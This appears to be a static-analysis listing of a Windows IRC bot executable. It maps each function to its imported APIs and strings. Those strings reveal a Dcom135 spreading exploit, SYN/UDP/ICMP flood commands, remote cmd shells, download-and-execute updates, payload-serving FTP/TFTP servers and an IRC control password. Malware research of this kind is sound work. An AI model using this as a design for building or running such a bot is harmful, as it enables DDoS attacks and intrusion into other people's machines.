sub_outside():
	WS2_32.socket
	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.connect
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket
	KERNEL32.Sleep
	KERNEL32.GetTickCount
	KERNEL32.GetComputerNameA
	KERNEL32.GetLocaleInfoA
	KERNEL32.GetVersionExA

_WinMain16():
	KERNEL32.GetTickCount
	KERNEL32.SetErrorMode
	KERNEL32.CreateMutexA
	KERNEL32.WaitForSingleObject
	KERNEL32.ExitProcess
	WS2_32.WSAStartup
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetFileAttributesA
	KERNEL32.SetFileAttributesA
	KERNEL32.CopyFileA
	NTDLL.RtlGetLastWin32Error
	KERNEL32.Sleep
	KERNEL32.GetCurrentProcessId
	KERNEL32.OpenProcess
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	WS2_32.WSACleanup
	KERNEL32.DeleteFileA
	KERNEL32.CreateThread
	WININET.InternetGetConnectedState

sub_40F445(012a):
	WS2_32.WSAStartup
	KERNEL32.ExitThread
	KERNEL32.SetConsoleCtrlHandler
	NTDLL.RtlGetLastWin32Error
	WS2_32.WSACleanup
	WS2_32.htons
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.accept
	WS2_32.setsockopt
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	WS2_32.WSAGetLastError
	WS2_32.closesocket

	"[RLOGIND]: Error: WSAStartup(): <%d>."
	"[RLOGIND]: Failed to install control-C "...
	"[RLOGIND]: Ready and waiting for incomi"...
	"[RLOGIND]: Client connection from IP:	%"...
	"[RLOGIND]: Failed to start client threa"...
	"[RLOGIND]: Error: server failed, return"...

sub_411CF7(0207):
	"-[Thread List]-"
	"%d. %s"

sub_4026BF(028e):
	"%d.%d.%d.%d"

sub_410D66(04c3):
	KERNEL32.GetTickCount

	"%dd %dh %dm"

sub_40F995(0702):
	KERNEL32.GetTickCount
	USER32.FindWindowA

	"mIRC"
	"[M]"
	"[%d]%s"
	"[M]"

sub_40FB6E(0d63):
	WS2_32.inet_ntoa
	KERNEL32.CreateThread
	KERNEL32.Sleep
	KERNEL32.CloseHandle
	WS2_32.htonl

	"[SCAN]: Scanning IP: %s, Port: %d."

sub_4084A7(0d8a):
	IPHLPAPI.IcmpCreateFile
	WS2_32.inet_addr
	WS2_32.gethostbyname
	KERNEL32.ExitThread
	IPHLPAPI.IcmpSendEcho
	IPHLPAPI.IcmpCloseHandle

	"[PING]: Error	sending	pings to %s."
	"[PING]: Finished sending pings to %s."

sub_401FD7(0e56):
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

	"Dcom135"
	"[%s]:	Exploiting IP: %s."

sub_406F59(0f38):
	MSVCRT._tolower

sub_40724A(10da):
	KERNEL32.GetTempPathA
	KERNEL32.CreateFileA
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.GetModuleHandleA
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetFileAttributesA
	KERNEL32.SetFileAttributesA
	KERNEL32.ExpandEnvironmentStringsA
	KERNEL32.CreateProcessA

	"%sdel.bat"
	"@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
	"%%comspec%% /c %s	%s"

sub_4111FF(10db):
	KERNEL32.GetTickCount
	WS2_32.socket
	WS2_32.WSAGetLastError
	KERNEL32.ExitThread
	WS2_32.setsockopt
	WS2_32.inet_addr
	WS2_32.htons
	WS2_32.htonl
	WS2_32.sendto
	WS2_32.closesocket

	"[TCP]: Error:	socket() failed, returned"...
	"[TCP]: Error:	setsockopt() failed, retu"...
	"[TCP]: Invalid target	IP."
	"syn"
	"ack"
	"random"
	"[TCP]: Error sending packets to IP: %s."...
	"[TCP]: Done with %s flood to IP: %s. Se"...

sub_403C74(117a):
	"failed"
	"[MAIN]: %s Drive (%s): Failed	to stat, "...
	"[MAIN]: %s Drive (%s): %s total, %s fre"...

sub_403D46(1518):
	KERNEL32.GetLogicalDriveStringsA

	"A:\\"

sub_408323(17f3):
	IPHLPAPI.GetIpNetTable
	IPHLPAPI.DeleteIpNetEntry

	"[FLUSHDNS]: Error getting ARP	cache: <%"...
	"[FLUSHDNS]: ARP cache	is empty."
	"[FLUSHDNS]: Unable to	allocation ARP ca"...
	"[FLUSHDNS]: Not supported by this syste"...

sub_407A65(19cf):
	"[NET]: %s username: '%s'."
	"[NET]: %s: Error with	username: '%s'. %"...
	"[NET]: %s: No	username specified."

sub_40ED21(1a84):
	WS2_32.recv
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.ExitThread

sub_403EEB(1cb3):
	WS2_32.inet_addr
	WS2_32.socket
	WS2_32.htons
	WS2_32.connect
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

sub_402677(1ccb):
	WS2_32.htonl

sub_408BC1(1e2b):
	KERNEL32.OpenProcess
	KERNEL32.TerminateProcess
	KERNEL32.CloseHandle

sub_40FAA1(20bb):
	WS2_32.htons
	WS2_32.socket
	WS2_32.connect
	WS2_32.inet_ntoa
	WS2_32.closesocket

	"[SCAN]: IP: %s Port: %d is open."

sub_4093DF(2292):
	WS2_32.send
	WS2_32.closesocket
	KERNEL32.Sleep
	WS2_32.recv

	"PASS	%s\r\n"

sub_408401(245f):
	WS2_32.getsockname

	"%d.%d.%d.%d"

sub_40EEAD(2a69):
	KERNEL32.PeekNamedPipe
	KERNEL32.GetExitCodeProcess
	KERNEL32.Sleep
	KERNEL32.ReadFile
	KERNEL32.ExitThread

	"[CMD]: Could not read	data from procces"...
	"[CMD]: Proccess has terminated.\r\n"
	"[CMD]: Could not read	data from procces"...

sub_403520(2e2f):
	WININET.InternetOpenUrlA
	KERNEL32.CreateFileA
	KERNEL32.ExitThread
	KERNEL32.GetTickCount
	WININET.InternetReadFile
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.CreateProcessA
	WS2_32.WSACleanup
	KERNEL32.ExitProcess
	WININET.InternetCloseHandle

	"[DOWNLOAD]: Couldn't open file: %s."
	"[DOWNLOAD]: File download: %s	(%dKB tra"...
	"[DOWNLOAD]: Update: %s (%dKB transferre"...
	"[DOWNLOAD]: Filesize is incorrect: (%d "...
	"[DOWNLOAD]: CRC Failed (%d !=	%d)."
	"[DOWNLOAD]: Downloaded %.1f KB to %s @ "...
	"open"
	"[DOWNLOAD]: Opened: %s."
	"[DOWNLOAD]: Downloaded %.1fKB	to %s @	%"...
	"[DOWNLOAD]: Update failed: Error execut"...
	"[DOWNLOAD]: Bad URL, or DNS Error: %s."

sub_409557(2ebb):
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	WS2_32.WSAStartup
	WS2_32.gethostbyname
	WS2_32.socket
	WS2_32.htons
	WS2_32.connect
	WS2_32.recv
	WS2_32.send
	WS2_32.closesocket
	WS2_32.WSACleanup
	KERNEL32.GetTickCount
	KERNEL32.Sleep
	WS2_32.getsockname
	WS2_32.inet_ntoa
	WS2_32.inet_addr
	KERNEL32.MoveFileA
	KERNEL32.CreateProcessA
	KERNEL32.GetTempPathA
	KERNEL32.DeleteFileA
	WS2_32.gethostbyaddr
	KERNEL32.TerminateThread
	KERNEL32.GetModuleFileNameA
	KERNEL32.GetSystemDirectoryA
	DNSAPI.DnsFlushResolverCache
	KERNEL32.ExitProcess

	" :"
	" "
	"!"
	"PING"
	"PONG	%s\r\n"
	"JOIN	%s %s\r\n"
	"001"
	"005"
	"302"
	"@"
	"433"
	"NICK	%s\r\n"
	"KICK"
	"[MAIN]: User %s logged out."
	"NOTICE %s :%s\r\n"
	"JOIN	%s %s\r\n"
	"NICK"
	":%s%s"
	"PART"
	"QUIT"
	"353"
	"[MAIN]: Joined channel: %s."
	"[MAIN]: User:	%s logged out."
	"PART"
	"NOTICE %s :%s\r\n"
	"PRIVMSG"
	"NOTICE"
	"332"
	"hi"
	"Fr"
	"332"
	"#"
	" :"
	"$%d-"
	"$%d"
	"$me"
	"$user"
	"$chan"
	"$rndnick"
	"$server"
	"$chr("
	")"
	"63"
	" "
	" "
	"rndnick"
	"rn"
	"die"
	"d"
	"logout"
	"lo"
	"version"
	"ver"
	"socks4"
	"s4"
	"socks4stop"
	"Server"
	"[SOCKS4]"
	"rloginstop"
	"Server"
	"[RLOGIND]"
	"httpstop"
	"Server"
	"[HTTPD]"
	"logstop"
	"Log list"
	"[LOG]"
	"redirectstop"
	"TCP redirect"
	"[REDIRECT]"
	"ddos.stop"
	"DDoS flood"
	"[DDoS]"
	"synstop"
	"Syn	flood"
	"[SYN]"
	"udpstop"
	"UDP	flood"
	"[UPD]"
	"pingstop"
	"Ping flood"
	"[PING]"
	"tftpstop"
	"Server"
	"[TFTP]"
	"procsstop"
	"psstop"
	"clonestop"
	"Clone"
	"[CLONES]"
	"securestop"
	"Secure"
	"[SECURE]"
	"scanstop"
	"Scan"
	"[SCAN]"
	"scanstats"
	"stats"
	"reconnect"
	"r"
	"disconnect"
	"dc"
	"quit"
	"q"
	"status"
	"s"
	"id"
	"i"
	"reboot"
	"[MAIN]: Rebooting system."
	"[MAIN]: Failed to reboot	system."
	"threads"
	"t"
	"aliases"
	"al"
	"log"
	"lg"
	"clearlog"
	"clg"
	"netinfo"
	"ni"
	"sysinfo"
	"si"
	"remov10e"
	"remov10e2"
	"procs"
	"ps"
	"uptime"
	"up"
	"driveinfo"
	"drv"
	"testdlls"
	"dll"
	"opencmd"
	"ocmd"
	"cmdstop"
	"Remote shell"
	"[CMD]"
	"who"
	"-[Login List]-"
	""
	"%d. %s"
	"[MAIN]: Login	list complete."
	"getclip"
	"gc"
	"flusharp"
	"farp"
	"flushdns"
	"fdns"
	"currentip"
	"cip"
	"rloginserver"
	"rlogin"
	"httpserver"
	"http"
	"tftpserver"
	"tftp"
	"fofofo2"
	"sfofofo2a"
	"nick"
	"n"
	"join"
	"j"
	"part"
	"pt"
	"raw"
	"r"
	"killthread"
	"k"
	"c_quit"
	"c_q"
	"c_rndnick"
	"c_rn"
	"prefix"
	"pr"
	"open"
	"o"
	"s3rv3rfg"
	"s3rv3rfg2"
	"dns"
	"dn"
	"killproc"
	"kp"
	"kill"
	"ki"
	"delete"
	"del"
	"list"
	"li"
	"mirccmd"
	"mirc"
	"cmd"
	"cm"
	"readfile"
	"rf"
	"ident"
	"on"
	"[IDENT]: Already running."
	"[IDENTD]: Server running on Port: 113."
	"[IDENTD]: Failed to start server, error"...
	"off"
	"[IDENT]: Server stopped. (%d thread(s) "...
	"[IDENT]: No thread found."
	"net"
	"[NET]: Failed	to load	advapi32.dll or	n"...
	"start"
	"%s"
	"[NET]: Service list completed."
	"[NET]: Service list failed."
	"stop"
	"pause"
	"continue"
	"delete"
	"share"
	"%s"
	"[NET]: Share list completed."
	"[NET]: Share list failed."
	"user"
	"%s"
	"[NET]: User list completed."
	"[NET]: User list failed."
	"send"
	"%s"
	"[NET]: No message specified."
	"[NET]: Command unknown."
	"gethost"
	"gh"
	"addalias"
	"aa"
	"privmsg"
	"pm"
	"action"
	"a"
	"cycle"
	"cy"
	"mode"
	"m"
	"c_raw"
	"c_r"
	"c_mode"
	"c_m"
	"c_nick"
	"c_n"
	"c_join"
	"c_j"
	"c_part"
	"c_p"
	"repeat"
	"rp"
	"delay"
	"de"
	"falehupd"
	"ufalehupdp"
	"execute"
	"e"
	"rename"
	"mv"
	"icmpflood"
	"icmp"
	"clone"
	"c"
	"ddos.syn"
	"ddos.ack"
	"ddos.random"
	"synflood"
	"syn"
	"falehdownl"
	"falehdownl2"
	"redirect"
	"rd"
	"scan"
	"sc"
	"c_privmsg"
	"c_pm"
	"c_action"
	"c_a"
	"fofofo"
	"f0f0f0"
	"udpflood"
	"udp"
	"u"
	"pingflood"
	"ping"
	"p"
	"tcpflood"
	"tcp"
	"email"
	" "
	"_"
	"helo $rndnick\nmail from: <%s>\nrcpt to: "...
	"[EMAIL]: Message sent	to %s."
	"httpcon"
	"hcon"
	"upload"
	"[FTP]: File not found: %s."
	"%s\\%i%i%i.dll"
	"ab"
	"open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
	"-s:%s"
	"ftp.exe"
	"open"
	"[FTP]: Uploading file: %s to:	%s"
	"[FTP]: Uploading file: %s to:	%s failed"...
	"syn"
	"ack"
	"random"
	"[TCP]: Invalid flood type specified."
	"Spoofed"
	"Normal"
	"[TCP]: %s %s flooding: (%s:%s) for %s	s"...
	"[TCP]: Failed	to start flood thread, er"...
	"[TCP]: Invalid flood time must be great"...
	"[PING]: Sending %d pings to %s. packet "...
	"[PING]: Failed to start flood	thread,	e"...
	"ICMP.dll not available"
	"[UDP]: Sending %d packets to:	%s. Packe"...
	"[UDP]: Failed	to start flood thread, er"...
	"[SCAN]: Already %d scanning threads. To"...
	"[SCAN]: Failed to start scan,	no IP spe"...
	"#ff-"
	"Sequential"
	"[SCAN]: %s Port Scan started on %s:%d	w"...
	"[SCAN]: Failed to start scan thread, er"...
	"[%s]	* %s %s"
	"[%s]	<%s> %s"
	"[SCAN]: Port scan started: %s:%d with	d"...
	"[SCAN]: Failed to start scan thread, er"...
	"[REDIRECT]: TCP redirect created from: "...
	"[REDIRECT]: Failed to	start redirection"...
	"[DOWNLOAD]: Downloading URL: %s to: %s."...
	"[DOWNLOAD]: Failed to	start transfer th"...
	"[SYN]: Flooding: (%s:%s) for %s seconds"...
	"[SYN]: Failed	to start flood thread, er"...
	"[DDoS]: Flooding: (%s:%s) for	%s second"...
	"[DDoS]: Failed to start flood	thread,	e"...
	"[CLONES]: Created on %s:%d, in channel "...
	"[CLONES]: Failed to start clone thread,"...
	"[ICMP]: Flooding: (%s) for %s	seconds."
	"[ICMP]: Failed to start flood	thread,	e"...
	"[ICMP]: Invalid flood	time must be grea"...
	"[FILE]: Rename: '%s' to: '%s'."
	"[FILE]:"
	"[EXEC]: Couldn't execute file."
	"FEnR"
	"%s%s.exe"
	"[UPDATE]: Downloading	update from: %s."
	"[UPDATE]: Failed to start download thre"...
	"[UPDATE]: Bot	ID must	be different than"...
	"332"
	"%s %s %s :%s"
	"[MAIN]: Delay."
	"332"
	"repeat"
	"%s %s %s :%s"
	"[MAIN]: Repeat: %s"
	"[MAIN]: Repeat not allowed in	command	l"...
	"PART	%s"
	"%s\r\n"
	"JOIN %s %s"
	"NICK	%s"
	"%s\r\n"
	"[CLONE]:	Nick (%s): %s"
	"MODE	%s"
	"%s\r\n"
	"[CLONE]:	Mode (%s): %s"
	"%s\r\n"
	"[CLONE]: Raw (%s): %s"
	"MODE	%s\r\n"
	"[MAIN]: Mode change: %s"
	"332"
	"PART	%s\r\n"
	"JOIN	%s %s\r\n"
	"[MAIN]: Cycle."
	"[MAIN]: Privmsg: %s: %s."
	"[MAIN]: Alias	added: %s."
	"%s %s %s :%s"
	"[MAIN]: Gethost: %s, Command:	%s"
	"[MAIN]: Unable to extract Gethost comma"...
	"r"
	"[MAIN]: Read file complete: %s"
	"[MAIN]: Read file failed: %s"
	"\n"
	"[CMD]: Error sending to remote shell."
	"[CMD]: Commands: %s"
	"[mIRC]: Client not open."
	"[mIRC]: Command sent."
	"[FILE]: List: %s"
	"[FILE]:"
	"[PROC]: Process killed ID: %s"
	"[PROC]: Failed to terminate process ID:"...
	"[PROC]: Process killed: %s"
	"[PROC]: Failed to terminate process: %s"...
	"[DNS]: Lookup: %s -> %s."
	"[DNS]: Couldn't resolve hostname."
	"[MAIN]: Server changed to: '%s'."
	"open"
	"[SHELL]: File	opened:	%s"
	"[SHELL]: Couldn't open file: %s"
	"[MAIN]: Prefix changed to: '%c'."
	"NICK	%s"
	"QUIT :later\r\n"
	"all"
	"[THREADS]: Stopped: %d thread(s)."
	"[THREADS]: No	active threads found."
	"[THREADS]: Killed thread: %s."
	"[THREADS]: Failed to kill thread: %s."
	"%s\r\n"
	"[MAIN]:	IRC Raw: %s."
	"PART	%s\r\n"
	"[MAIN]: Parted channel: '%s'."
	"JOIN	%s %s\r\n"
	"[MAIN]: Joined channel: '%s'."
	"NICK	%s\r\n"
	"[MAIN]: Nick changed to: '%s'."
	"[SCAN]: Already %d scanning threads. To"...
	"#ff-"
	"Sequential"
	"[SCAN]: %s Port Scan started on %s:%d	w"...
	"[SCAN]: Failed to start scan thread, er"...
	"[SCAN]: Failed to start scan,	port is	i"...
	"[TFTP]: Already running."
	"gvujaleodq.exe"
	"[TFTP]: Server started on Port: %d, Fil"...
	"[TFTP]: Failed to start server thread, "...
	"[HTTPD]: Server listening on IP: %s:%d,"...
	"[HTTPD]: Failed to start server thread,"...
	"[RLOGIND]: Server listening on IP: %s:%"...
	"[RLOGIND]: Failed to start server threa"...
	"[FLUSHDNS]: DNS cache	flushed."
	"[FLUSHDNS]: Failed to	flush DNS cache."
	"[FLUSHDNS]: Failed to	load dnsapi.dll."
	"[FLUSHDNS]: ARP cache	flushed."
	"[FLUSHDNS]: Failed to	flush ARP cache."
	"[MAIN]: Get Clipboard."
	"[CMD]: Remote	shell already running."
	"[CMD]: Couldn't open remote shell."
	"[CMD]: Remote	shell ready."
	"[MAIN]:	Uptime:	%s."
	"[PROC]: Already running."
	"full"
	"[PROCS]: Proccess list."
	"[PROCS]: Failed to start listing thread"...
	"[MAIN]: Removing Bot."
	"[MAIN]: System Info."
	"[MAIN]: Network Info."
	"%s"
	"[LOG]: Listing log."
	"[LOG]: Failed	to start listing thread, "...
	"[MAIN]: Alias	list."
	"sub"
	"[THREADS]: List threads."
	"[THREADS]: Failed to start list thread,"...
	"FEnR"
	"[MAIN]: Bot ID: %s."
	"[MAIN]: Status: Ready. Bot Uptime: %s."
	"QUIT	:%s\r\n"
	"QUIT :later\r\n"
	"QUIT :disconnecting\r\n"
	"[MAIN]: Disconnecting."
	"QUIT :reconnecting\r\n"
	"[MAIN]: Reconnecting."
	"Process list"
	"[PROC]"
	"[SOCKS4]: Server started on: %s:%d."
	"[SOCKS4]: Failed to start server thread"...
	"FEnR"
	"[MAIN]: %s"
	"[MAIN]: User %s logged out."
	"[MAIN]: No user logged in at slot: %d."
	"[MAIN]: Invalid login	slot number: %d."
	"[MAIN]: User %s logged out."
	"332"
	"NICK	%s\r\n"
	"[MAIN]: Random nick change: %s"
	"!"
	"~"
	"19736666386888"
	"NOTICE %s :Pass auth failed (%s!%s).\r\n"
	"NOTICE %s :Your attempt has been logged"...
	"[MAIN]: *Failed pass auth by:	(%s!%s)."
	"NOTICE %s :Host Auth failed (%s!%s).\r\n"
	"NOTICE %s :Your attempt has been logged"...
	"[MAIN]: *Failed host auth by:	(%s!%s)."
	"19736666386888"
	"[MAIN]: Password accepted."
	"[MAIN]: User:	%s logged in."
	"USERHOST %s\r\n"
	"+x"
	"MODE	%s %s\r\n"
	"JOIN	%s %s\r\n"

sub_403DCB(3181):
	WS2_32.closesocket
	WS2_32.WSACleanup
	KERNEL32.Sleep
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetModuleFileNameA
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	KERNEL32.ExitProcess

sub_402E03(329e):
	"[LOGS]: Cleared."

sub_407944(3477):
	ADVAPI32.IsValidSecurityDescriptor

	"Share	name:	 Resource:		 "...
	"[NET]: Share list error: %s <%ld>"
	"Yes"
	"No"
	"%-14S %-24S %-6u %-4s"

sub_405E64(3720):
	WS2_32.send
	KERNEL32.Sleep

	"NOTICE"
	"PRIVMSG"
	"%s"
	"%s %s :%s\r\n"

sub_40F6CD(3b5d):
	KERNEL32.GetTickCount

	"%s"
	"%s%i"

sub_405C73(3cc8):
	WS2_32.htons
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.accept
	WS2_32.inet_ntoa
	WS2_32.recv
	WS2_32.send
	WS2_32.WSAGetLastError
	WS2_32.closesocket
	KERNEL32.ExitThread

	"[IDENTD]: Client connection from IP: %s"...
	"	: USERID : UNIX	: %s\r\n"
	"[IDENTD]: Error: server failed, returne"...

sub_403014(3cd1):
	KERNEL32.Sleep

sub_4013EE(3d91):
	KERNEL32.CreateFileA
	KERNEL32.TransactNamedPipe
	KERNEL32.WriteFile
	KERNEL32.CloseHandle
	KERNEL32.ReadFile
	WS2_32.socket
	WS2_32.htons
	WS2_32.inet_addr
	WS2_32.connect
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket
	KERNEL32.Sleep

	"\\\\%s\\pipe\\epmapper"
	"[TFTP]: File transfer	complete to IP:	%"...
	"Dcom135"
	"[%s]:	Exploiting IP: %s."

sub_4027F8(3e4f):
	KERNEL32.GetTickCount
	WS2_32.inet_ntoa
	NTDLL.RtlEnterCriticalSection
	NTDLL.RtlLeaveCriticalSection
	KERNEL32.Sleep
	KERNEL32.ExitThread

	"[SCAN]: IP: %s:%d, Scan thread: %d, Sub"...
	"[SCAN]: IP: %s, Port %d is open."
	"asn1smbnt"

sub_407184(3f4b):
	KERNEL32.SearchPathA
	KERNEL32.CreateFileA
	KERNEL32.GetFileTime
	KERNEL32.CloseHandle
	KERNEL32.SetFileTime

	"explorer.exe"

sub_410E85(4200):
	KERNEL32.GetVersionExA
	ADVAPI32.GetUserNameA
	WS2_32.inet_addr
	WS2_32.gethostbyaddr
	KERNEL32.GetSystemDirectoryA
	KERNEL32.GetDateFormatA
	KERNEL32.GetTimeFormatA
	KERNEL32.GlobalMemoryStatus

	"95"
	"NT"
	"98"
	"ME"
	"2K"
	"XP"
	"2003"
	"???"
	"%s (%s)"
	"couldn't resolve host"
	"dd:MMM:yyyy"
	"HH:mm:ss"
	"[SYSINFO]: [CPU]: %I64uMHz. [RAM]: %sKB"...

sub_402E75(42ca):
	KERNEL32.ExitThread

	"[LOG]: Begin"
	"[LOG]: List complete."

sub_40FDB0(4448):
	KERNEL32.CreatePipe
	NTDLL.RtlGetLastWin32Error
	KERNEL32.CloseHandle

	"[RLOGIND]: Failed to create shell stdou"...
	"[RLOGIND]: Failed to create shell stdin"...
	"[RLOGIND]: Failed to execute shell."

sub_40FF82(4559):
	KERNEL32.ReadFile
	WS2_32.send
	NTDLL.RtlGetLastWin32Error

	"[RLOGIND]: SessionReadShellThread exite"...

sub_408633(479b):
	KERNEL32.GetTickCount
	WS2_32.socket
	WS2_32.inet_addr
	WS2_32.gethostbyname
	KERNEL32.ExitThread
	WS2_32.htons
	WS2_32.sendto
	KERNEL32.Sleep

	"[UDP]: Error sending pings to	%s."
	"[UDP]: Finished sending packets to %s."

sub_408AE3(4a00):
	KERNEL32.ExitThread

	"[PROC]: Listing processes:"
	"[PROC]: Process list completed."
	"[PROC]: Process list failed."

sub_407F79(4af9):
	"Username accounts for	local system:"
	"[NET]: User list error: %s <%ld>"
	"  %S"
	"[NET]: An access violation has occured."...
	"Total	users found: %d."

sub_410034(4e7e):
	WS2_32.recv
	KERNEL32.GenerateConsoleCtrlEvent
	WS2_32.send
	KERNEL32.WriteFile

sub_40822D(51cf):
	KERNEL32.GetComputerNameA

	"[NET]: Message sent successfully."
	"[NET]: %s  "

sub_4109BE(54eb):
	KERNEL32.ExitThread

	"[SYN]: Done with flood (%iKB/sec)."

sub_411D75(5581):
	KERNEL32.TerminateThread
	WS2_32.closesocket

sub_40FEA9(558b):
	KERNEL32.GetCurrentProcess
	KERNEL32.DuplicateHandle
	KERNEL32.CreateProcessA
	KERNEL32.CloseHandle
	NTDLL.RtlGetLastWin32Error

	"cmd /q"
	"[RLOGIND]: Failed to execute shell, err"...

sub_4105FA(5682):
	WS2_32.select
	WS2_32.closesocket
	KERNEL32.ExitThread
	WS2_32.recv
	WS2_32.send
	WS2_32.socket
	WS2_32.WSAGetLastError
	WS2_32.connect

	"[SOCKS4]: Authentication failed. Remote"...
	"[SOCKS4]: Error: Failed to open socket("...
	"[SOCKS4]: Error: Failed to connect to	t"...

sub_408314(58f2):
	DNSAPI.DnsFlushResolverCache

sub_4088B4(59bc):
	KERNEL32.CreateToolhelp32Snapshot
	KERNEL32.Process32First
	KERNEL32.Process32Next
	KERNEL32.lstrcmpi
	KERNEL32.OpenProcess
	KERNEL32.TerminateProcess
	KERNEL32.CloseHandle
	KERNEL32.Module32First

	"SeDebugPrivilege"
	"i11r54n4.exe"
	" %s (%d)"
	"SeDebugPrivilege"

sub_405680(5a4b):
	KERNEL32.CreateFileA
	KERNEL32.GetFileSize
	KERNEL32.SetFilePointer
	KERNEL32.ReadFile
	WS2_32.send
	WS2_32.WSAGetLastError
	KERNEL32.CloseHandle

sub_404771(5a4e):
	WS2_32.htons
	WS2_32.socket
	WS2_32.bind
	WS2_32.listen
	WS2_32.ioctlsocket
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.recv
	WS2_32.closesocket
	WS2_32.WSAGetLastError
	KERNEL32.ExitThread

	"GET "
	" "
	"\r\n"
	"[HTTPD]: Error: server failed, returned"...

sub_403B11(5b85):
	KERNEL32.GetDiskFreeSpaceExA

sub_4022E3(5d39):
	KERNEL32.GetModuleFileNameA
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error

	"gvujaleodq.exe"
	"[TFTP]: Server started on Port: %d, Fil"...
	"[TFTP]: Failed to start server, error: "...
	"gvujaleodq.exe"
	"[FTP]: Server	started	on Port: %d, File"...
	"[FTP]: Failed	to start server, error:	<"...
	"[HTTPD]: Server listening on IP: %s:%d,"...
	"[HTTPD]: Failed to start server, error:"...

sub_4074FB(6353):
	"The specified	service	name is	invalid."
	"The requested	control	code is	undefined"...
	"The handle is	invalid."
	"The handle does not have the required	a"...
	"The service binary file could	not be fo"...
	"The service cannot be	stopped	because	o"...
	"The database is locked."
	"A thread could not be	created	for the	s"...
	"The process for the service was started"...
	"The requested	control	code is	not valid"...
	"An instance of the service is	already	r"...
	"The system is	shutting down."
	"An unknown error occurred: <%ld>"

sub_410A5A(6401):
	WS2_32.WSAStartup
	WS2_32.WSASocketA
	WS2_32.setsockopt
	WS2_32.htons
	KERNEL32.QueryPerformanceFrequency
	KERNEL32.QueryPerformanceCounter
	WS2_32.htonl
	WS2_32.sendto
	WS2_32.WSAGetLastError
	WS2_32.closesocket
	WS2_32.WSACleanup

	"[SYN]: Send error: <%d>."

sub_406AE8(65cd):
	"Kernel32.dll failed. <%d>"
	"User32.dll failed. <%d>"
	"Advapi32.dll failed. <%d>"
	"Gdi32.dll failed. <%d>"
	"Ws2_32.dll failed. <%d>"
	"Wininet.dll failed. <%d>"
	"Icmp.dll failed. <%d>"
	"Netapi32.dll failed. <%d>"
	"Dnsapi.dll failed. <%d>"
	"Iphlpapi.dll failed. <%d>"
	"Mpr32.dll failed. <%d>"
	"Shell32.dll failed. <%d>"
	"Odbc32.dll failed. <%d>"
	"[MAIN]: DLL test complete."

sub_40226C(6c4c):
	WS2_32.inet_ntoa

	"[SCAN]: Current IP: %s."
	"[SCAN]: Scan not active."

sub_402A0C(6c57):
	WS2_32.inet_addr
	NTDLL.RtlDeleteCriticalSection
	KERNEL32.InitializeCriticalSectionAndSpinCount
	KERNEL32.CreateThread
	KERNEL32.Sleep
	NTDLL.RtlGetLastWin32Error
	WS2_32.inet_ntoa
	KERNEL32.ExitThread

	"[SCAN]: Failed to initialize critical	s"...
	"[SCAN]: %s:%d, Scan thread: %d, Sub-thr"...
	"[SCAN]: Failed to start worker thread, "...
	"[SCAN]: Finished at %s:%d after %d minu"...

sub_40EDBE(7918):
	KERNEL32.CloseHandle

sub_407102(7980):
	USER32.FindWindowA
	KERNEL32.CreateFileMappingA
	KERNEL32.MapViewOfFile
	USER32.SendMessageA
	KERNEL32.UnmapViewOfFile
	KERNEL32.CloseHandle

	"mIRC"

sub_40FC5F(7989):
	KERNEL32.CreateThread
	NTDLL.RtlGetLastWin32Error
	KERNEL32.TerminateThread
	KERNEL32.WaitForMultipleObjects
	KERNEL32.TerminateProcess
	KERNEL32.CloseHandle
	WS2_32.closesocket

	"[RLOGIND]: Failed to create ReadShell	s"...
	"[RLOGIND]: Failed to create ReadShell	s"...
	"[RLOGIND]: WaitForMultipleObjects error"...

sub_411139(7bf7):
	WININET.InternetGetConnectedStateEx

	"Not connected"
	"Dial-up"
	"[NETINFO]: [Type]: %s	(%s). [IP Address"...

sub_4108BE(7e67):
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.recv
	WS2_32.send

sub_40F72B(7e76):
	KERNEL32.GetTickCount

sub_411EC8(7f61):
	"%s: %s stopped. (%d thread(s)	stopped.)"...
	"%s: No %s thread found."

sub_404059(8058):
	WS2_32.WSAStartup
	WS2_32.socket
	WS2_32.setsockopt
	WS2_32.ioctlsocket
	WS2_32.htons
	WS2_32.bind
	WS2_32.listen
	WS2_32.select
	WS2_32.__WSAFDIsSet
	WS2_32.accept
	WS2_32.send
	WS2_32.recv
	WS2_32.closesocket

	"220 StnyFtpd 0wns j0\n"
	"%s %s"
	"USER"
	"331 Password required\n"
	"PASS"
	"230 User logged in.\n"
	"SYST"
	"215 StnyFtpd\n"
	"REST"
	"350 Restarting.\n"
	"257 \"/\" is current directory.\n"
	"TYPE"
	"A"
	"200 Type set to A.\n"
	"TYPE"
	"I"
	"200 Type set to I.\n"
	"PASV"
	"425 Passive not supported on this serve"...
	"LIST"
	"226 Transfer complete\n"
	"PORT"
	"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
	"%x%x\n"
	"%s.%s.%s.%s"
	"200 PORT command successful.\n"
	"RETR"
	"150 Opening BINARY mode data connection"...
	"226 Transfer complete.\n"
	"[FTP]: File transfer complete	to IP: %s"...
	"425 Can't open data connection.\n"
	"QUIT"
	"221 Goodbye happy r00ting.\n"

sub_4082EB(8399):
	WS2_32.inet_addr
